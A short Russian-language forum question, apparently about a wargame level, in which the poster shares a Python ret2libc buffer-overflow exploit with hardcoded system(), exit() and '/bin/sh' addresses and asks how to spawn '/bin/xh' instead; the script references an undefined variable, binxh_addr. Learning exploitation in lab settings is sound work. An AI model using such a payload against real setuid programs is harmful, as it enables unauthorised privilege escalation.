Я написал этот скрипт на python для выполнения атаки ret2libc, и он действительно работает.Моя проблема в том, что я хотел бы создать другую оболочку, а не "/ bin / sh".Вместо этого я должен использовать spawn "/ bin / xh".Адрес system (), exit () и «bin / sh» был найден с помощью gdb, но я не могу найти адрес оболочки, которую я ищу, очевидно.После кода моего скрипта:
#!/usr/bin/python
import struct
import os
def exploit():
level="/casper/casper8 "
buf_ovf= "X"*678
exit_addr = struct.pack("I", 0xb7e55260 )
binsh_addr= struct.pack("I", 0xb7f84d4c )
sys_addr= struct.pack("I", 0xb7e62310)
payload = ( buf_ovf + sys_addr + exit_addr +binxh_addr ).replace('`', '\\`')
os.system(level+ payload)
exploit()
Может кто-нибудь мне помочь?Спасибо